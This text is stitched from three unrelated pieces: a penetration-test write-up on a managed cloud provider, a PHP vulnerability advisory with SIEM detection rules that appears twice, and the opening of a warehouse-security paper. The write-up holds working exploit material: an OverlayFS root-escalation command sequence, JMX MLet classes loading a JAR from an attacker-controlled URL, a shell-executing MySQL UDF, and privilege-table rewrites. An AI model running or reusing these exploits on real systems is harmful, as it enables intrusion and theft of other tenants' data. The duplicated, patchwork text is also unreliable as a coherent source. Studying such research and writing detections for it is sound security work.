Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe
unshare -rm sh -c '
mkdir l u w m &&
cp /usr/bin/python3 l/ &&
chmod 755 l/python3 &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
Confirmation of command execution with root privileges
Gaining root privileges opened up several interesting attack vectors:
We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.
2. Adventures in the overlay network
2.1. Victoria stack
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.
When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
Private SSH key in a VictoriaLogs record
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.
Process privileges on the host and available actions in Kubernetes
Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
2.2. Compromising managed Kafka instances
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.
Discovered Java RMI service on port 9999
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.
The code that handles the connection and initialization of the MBean component looks like this:
//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class JmxCreateMBean {
private static final class RewritingSocketFactory extends RMISocketFactory {
private final String fromHost;
private final String toHost;
RewritingSocketFactory(String fromHost, String toHost) {
...
}
@Override
public Socket createSocket(String host, int port) throws IOException {
...
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
...
}
}
public static void main(String[] args) throws Exception {
...
RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
var mbsc = connector.getMBeanServerConnection();
try {
ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
} catch (InstanceAlreadyExistsException e) {
System.out.println("EXISTS " + args[5]);
}
}
}
}
Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
public class Exec implements ExecMBean {
@Override
public String run(String cmd) throws Exception {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
byte[] out = p.getInputStream().readAllBytes();
int rc = p.waitFor();
return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
}
@Override
public String getB64(String path) throws Exception {
return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
}
@Override
public String putB64(String path, String b64) throws Exception {
byte[] data = Base64.getDecoder().decode(b64);
Files.write(Path.of(path), data);
return "wrote " + data.length + " bytes";
}
}
After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.
Create a standard MLet loader inside the Kafka JVM.
Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces
This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.
2.3. Credential leakage through redis-exporter
The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:
//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
target := r.URL.Query().Get("target")
...
if !strings.Contains(target, "://") {
target = "redis://" + target
}
u, err := url.Parse(target)
...
opts := e.options
...
_, err = NewRedisExporter(target, opts)
...
Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:
The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.
Diagnostic information of the Valkey instance
(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).
2.4. Compromise of managed PostgreSQL (Patroni) clusters
The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.
Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:
Update the Patroni configuration with the modified archive_command:
After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:
cannot be a real primary in standby cluster
Demoting self (demote-cluster)
received fast shutdown request
checkpoint starting: shutdown immediate
Postgres then restarts, and the archiving process runs and executes the injected command:
PostgreSQL process context and node network interfaces
This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.
Database and S3 access parameters in a backup file
This storage holds backups not only of the current instance but also of all other databases in the cloud.
List of backup storage locations in S3
3. Attack on SaltStack management infrastructure
After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.
3.1. Analysis of salt fs
The first step was to dump the entire Salt master file system for subsequent static analysis:
Fragment of the Salt Master file list
It contained numerous files.
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
mkdir -p "/tmp/dump/$(dirname "$f")"
salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
done
Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:
A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.
Database error during pillar processing
3.2. Exploiting the SQLi
This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.
Fragment of the table list in the cloudsmth schema
Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.
Records with Salt Master authentication tokens
With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:
By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.
4. Other ways to attack the cloud
It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.
4.1. Exploiting a vulnerability in Managed Valkey
During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:
The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.
CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:
These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.
Valkey process context and Salt grains parameters
The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.
4.2. MySQL
The MySQL database user didn’t have root privileges when the resource was created.
DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;
However, the application logic allowed this user to drop and recreate the table with dynamic privileges:
DROP TABLE IF EXISTS mysql.user;
CREATE TABLE mysql.user (
Host char(255) NOT NULL DEFAULT '%',
User char(32) NOT NULL DEFAULT '',
Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
ssl_cipher blob NOT NULL,
x509_issuer blob NOT NULL,
x509_subject blob NOT NULL,
max_questions int unsigned NOT NULL DEFAULT 0,
max_updates int unsigned NOT NULL DEFAULT 0,
max_connections int unsigned NOT NULL DEFAULT 0,
max_user_connections int unsigned NOT NULL DEFAULT 0,
plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
authentication_string text,
password_expired enum('N','Y') NOT NULL DEFAULT 'N',
password_last_changed timestamp NULL DEFAULT NULL,
password_lifetime smallint unsigned DEFAULT NULL,
account_locked enum('N','Y') NOT NULL DEFAULT 'N',
Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Password_reuse_history smallint unsigned DEFAULT NULL,
Password_reuse_time smallint unsigned DEFAULT NULL,
Password_require_current enum('N','Y') DEFAULT NULL,
User_attributes json DEFAULT NULL,
PRIMARY KEY (Host, User)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;
After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;
Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef unsigned long long udf_args_type;
typedef struct {
unsigned int arg_count;
unsigned int *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
void *extension;
} UDF_ARGS;
typedef struct {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
void *extension;
} UDF_INIT;
int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "sys_eval requires one argument");
return 1;
}
initid->max_length = 65535;
return 0;
}
void sys_eval_deinit(UDF_INIT *initid) {}
char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error) {
if (!args->args[0]) { *is_null = 1; return NULL; }
char cmd[65535];
snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
FILE *pipe = popen(cmd, "r");
if (!pipe) { *is_null = 1; return NULL; }
static char buf[65535];
size_t total = 0;
while (total < sizeof(buf)-1) {
size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
if (n == 0) break;
total += n;
}
pclose(pipe);
buf[total] = '\0';
*length = total;
return buf;
}
RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:
This vector made it possible to inject line breaks and override critical configuration parameters:
default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.
With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so
We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
Result of executing id via MySQL UDF
The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:
We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.
Conclusion
The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
UPD 23.10.2026: added Kaspersky SIEM rules and events for developing custom detection rules or conducting threat hunting.
UPD 22.10.2026: added a description of how the Kaspersky Managed Detection and Response service detects the described malicious activity.
UPD 22.10.2026: added a description of how Kaspersky Vulnerability Management detects vulnerable versions of PHP.
Vulnerability overview
On October 20, 2026, the PHP security team published a preliminary notice regarding an upcoming emergency release that addresses two critical vulnerabilities (both rated 9.2 on the CVSS scale). The patches were released on Wednesday, October 21, 2026, at 14:00 UTC.
The release was expedited after information about the vulnerabilities was leaked to the public before the scheduled embargo was lifted. In a post on Hacker News, a user reported two RCE vulnerabilities in PHP, allegedly affecting all versions starting with PHP 5.4.0.
The vulnerabilities in question are CVE-2026-109618 and CVE-2026-109619. Shortly after the post appeared, researchers confirmed the existence of the vulnerabilities. Along with the leak of details, an exploit unofficially named PHP2Shell appeared online. In the leaked demo video, the exploit is shown in action on web servers running WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal, and WHMCS — platforms that power many modern websites. The authenticity of the demonstration and the exact behavior of the exploit had not been independently verified at the time of publication.
According to the researcher who published the PoC, the vulnerabilities are related to the handling of the multipart/form-data MIME type in conjunction with the session upload progress mechanism (session.upload_progress) in the PHP core and fall under the categories of use-after-free and memory corruption. This means that the flaws cannot be fixed via application code, and the only fix is to update PHP on the server. The attack requires no authentication: an attacker with network access to a PHP application can execute arbitrary code with the privileges of the PHP process without needing to authenticate. Security advisories issued by the PHP team on October 21 confirm this information.
The vulnerabilities affect PHP versions 5, 7, and 8. As of this publication, branches 8.2 through 8.5 are supported. Older branches, including PHP 8.1, 8.0, 7.x, and 5.x, have reached the end of their lifecycle; however, due to the critical severity of the vulnerabilities, backported patches have also been released for versions 7.4, 8.0, and 8.1.
Sansec experts estimate that widespread exploitation could begin within 15 minutes of the update’s release. We strongly recommend that administrators responsible for publicly accessible PHP web servers take the following steps before the patch is available:
Take an inventory of all PHP-based systems in your infrastructure (such as web servers, control panels, and third-party software).
Disable upload-progress: set session.upload_progress.enabled = Off using the php_admin_flag in PHP-FPM pools.
Block multipart requests on nginx and Apache servers.
Consider temporarily isolating PHP applications that connect to the Internet until fixes are released.
Be ready to install the patch immediately upon its release.
Plan to migrate servers running unsupported versions (8.1 and earlier) to the latest PHP branch.
Detection by Kaspersky solutions
Kaspersky solutions detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.
When an attempt is made to exploit these RCE vulnerabilities, Kaspersky Endpoint Detection and Response promptly alerts the user to suspicious actions performed in the context of a web server, on both Linux and Windows machines. This activity is detected by the following rules:
Spawning of suspicious processes by the web server;
Creation of suspicious executable files in the web application directory;
Creation of suspicious scripts in the web application directory;
Creation of files with uncommon extensions in the web application directory;
Execution of reconnaissance commands by the web server process;
Execution of persistence commands by the web server process;
Delivery and launch of web shells on the web server.
Moreover, MDR detects other malicious activity not directly related to remote code execution.
To protect companies that use our Kaspersky SIEM system, the product repository includes rules that help detect the following malicious activity.
Execution of suspicious executable files by web server processes on Windows and Linux machines:
R300_04_Windows shell started by a web application
R152_08_A running Linux shell process has a suspicious parent process
Execution of reconnaissance commands by the web server process:
R286_05_Possible web-shell (Linux)
We also recommend monitoring the creation of scripts or executable files in the web server directory when developing your own detection rules or conducting threat hunting:
((DeviceEventClassID = '4663' AND DeviceCustomString1 ilike 'WriteData') OR DeviceEventClassID = '11')
AND match(FileName,'(?i).*\.(php|asp|aspx|ashx|jsp|js|jar|jse|dll|exe|bat|ps1|vbs|wsf|wsh|msi|msp|hta|cpl)$')
AND match(DestinationProcessName,'(?i).*(php-cgi|nginx|httpd|w3wp)\.exe')
Name = 'openat' AND has(SA.Nametype, 'CREATE')
AND
length(arrayFilter(x -> match(x, '(public_html|var/www|usr/local/apache2|usr/local/httpd|var/apache|srv/www|home/httpd/html|srv/http|usr/share/nginx/html|var/lib/pgsql/data|usr/local/mysql/data|var/lib/mysql|var/vsftpd|etc/bind|var/named)'), SA.FileName))>1
AND
length(arrayFilter(x -> match(x, '\.(aspx|asp|asmx|asax|ashx|jspx|jsp|js|phpt|php|phtml|pht|cfm|shtml|htaccess|fcgi|cgi|pl|py|sh)'), SA.FileName))>1
UPD 23.10.2026: added Kaspersky SIEM rules and events for developing custom detection rules or conducting threat hunting.
UPD 22.10.2026: added a description of how the Kaspersky Managed Detection and Response service detects the described malicious activity.
UPD 22.10.2026: added a description of how Kaspersky Vulnerability Management detects vulnerable versions of PHP.
Vulnerability overview
On October 20, 2026, the PHP security team published a preliminary notice regarding an upcoming emergency release that addresses two critical vulnerabilities (both rated 9.2 on the CVSS scale). The patches were released on Wednesday, October 21, 2026, at 14:00 UTC.
The release was expedited after information about the vulnerabilities was leaked to the public before the scheduled embargo was lifted. In a post on Hacker News, a user reported two RCE vulnerabilities in PHP, allegedly affecting all versions starting with PHP 5.4.0.
The vulnerabilities in question are CVE-2026-109618 and CVE-2026-109619. Shortly after the post appeared, researchers confirmed the existence of the vulnerabilities. Along with the leak of details, an exploit unofficially named PHP2Shell appeared online. In the leaked demo video, the exploit is shown in action on web servers running WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal, and WHMCS — platforms that power many modern websites. The authenticity of the demonstration and the exact behavior of the exploit had not been independently verified at the time of publication.
According to the researcher who published the PoC, the vulnerabilities are related to the handling of the multipart/form-data MIME type in conjunction with the session upload progress mechanism (session.upload_progress) in the PHP core and fall under the categories of use-after-free and memory corruption. This means that the flaws cannot be fixed via application code, and the only fix is to update PHP on the server. The attack requires no authentication: an attacker with network access to a PHP application can execute arbitrary code with the privileges of the PHP process without needing to authenticate. Security advisories issued by the PHP team on October 21 confirm this information.
The vulnerabilities affect PHP versions 5, 7, and 8. As of this publication, branches 8.2 through 8.5 are supported. Older branches, including PHP 8.1, 8.0, 7.x, and 5.x, have reached the end of their lifecycle; however, due to the critical severity of the vulnerabilities, backported patches have also been released for versions 7.4, 8.0, and 8.1.
Sansec experts estimate that widespread exploitation could begin within 15 minutes of the update’s release. We strongly recommend that administrators responsible for publicly accessible PHP web servers take the following steps before the patch is available:
Take an inventory of all PHP-based systems in your infrastructure (such as web servers, control panels, and third-party software).
Disable upload-progress: set session.upload_progress.enabled = Off using the php_admin_flag in PHP-FPM pools.
Block multipart requests on nginx and Apache servers.
Consider temporarily isolating PHP applications that connect to the Internet until fixes are released.
Be ready to install the patch immediately upon its release.
Plan to migrate servers running unsupported versions (8.1 and earlier) to the latest PHP branch.
Detection by Kaspersky solutions
Kaspersky solutions detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.
When an attempt is made to exploit these RCE vulnerabilities, Kaspersky Endpoint Detection and Response promptly alerts the user to suspicious actions performed in the context of a web server, on both Linux and Windows machines. This activity is detected by the following rules:
Spawning of suspicious processes by the web server;
Creation of suspicious executable files in the web application directory;
Creation of suspicious scripts in the web application directory;
Creation of files with uncommon extensions in the web application directory;
Execution of reconnaissance commands by the web server process;
Execution of persistence commands by the web server process;
Delivery and launch of web shells on the web server.
Moreover, MDR detects other malicious activity not directly related to remote code execution.
To protect companies that use our Kaspersky SIEM system, the product repository includes rules that help detect the following malicious activity.
Execution of suspicious executable files by web server processes on Windows and Linux machines:
R300_04_Windows shell started by a web application
R152_08_A running Linux shell process has a suspicious parent process
Execution of reconnaissance commands by the web server process:
R286_05_Possible web-shell (Linux)
We also recommend monitoring the creation of scripts or executable files in the web server directory when developing your own detection rules or conducting threat hunting:
((DeviceEventClassID = '4663' AND DeviceCustomString1 ilike 'WriteData') OR DeviceEventClassID = '11')
AND match(FileName,'(?i).*\.(php|asp|aspx|ashx|jsp|js|jar|jse|dll|exe|bat|ps1|vbs|wsf|wsh|msi|msp|hta|cpl)$')
AND match(DestinationProcessName,'(?i).*(php-cgi|nginx|httpd|w3wp)\.exe')
Name = 'openat' AND has(SA.Nametype, 'CREATE')
AND
length(arrayFilter(x -> match(x, '(public_html|var/www|usr/local/apache2|usr/local/httpd|var/apache|srv/www|home/httpd/html|srv/http|usr/share/nginx/html|var/lib/pgsql/data|usr/local/mysql/data|var/lib/mysql|var/vsftpd|etc/bind|var/named)'), SA.FileName))>1
AND
length(arrayFilter(x -> match(x, '\.(aspx|asp|asmx|asax|ashx|jspx|jsp|js|phpt|php|phtml|pht|cfm|shtml|htaccess|fcgi|cgi|pl|py|sh)'), SA.FileName))>1
Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.
Now let’s multiply one late unicorn by several hundred thousand orders.
Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.
It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.
This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.
Tracing the unicorn
A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.
Stages of order fulfillment
So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.
Unloading First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
Receiving At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
Putaway Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
Storage Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
Picking When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
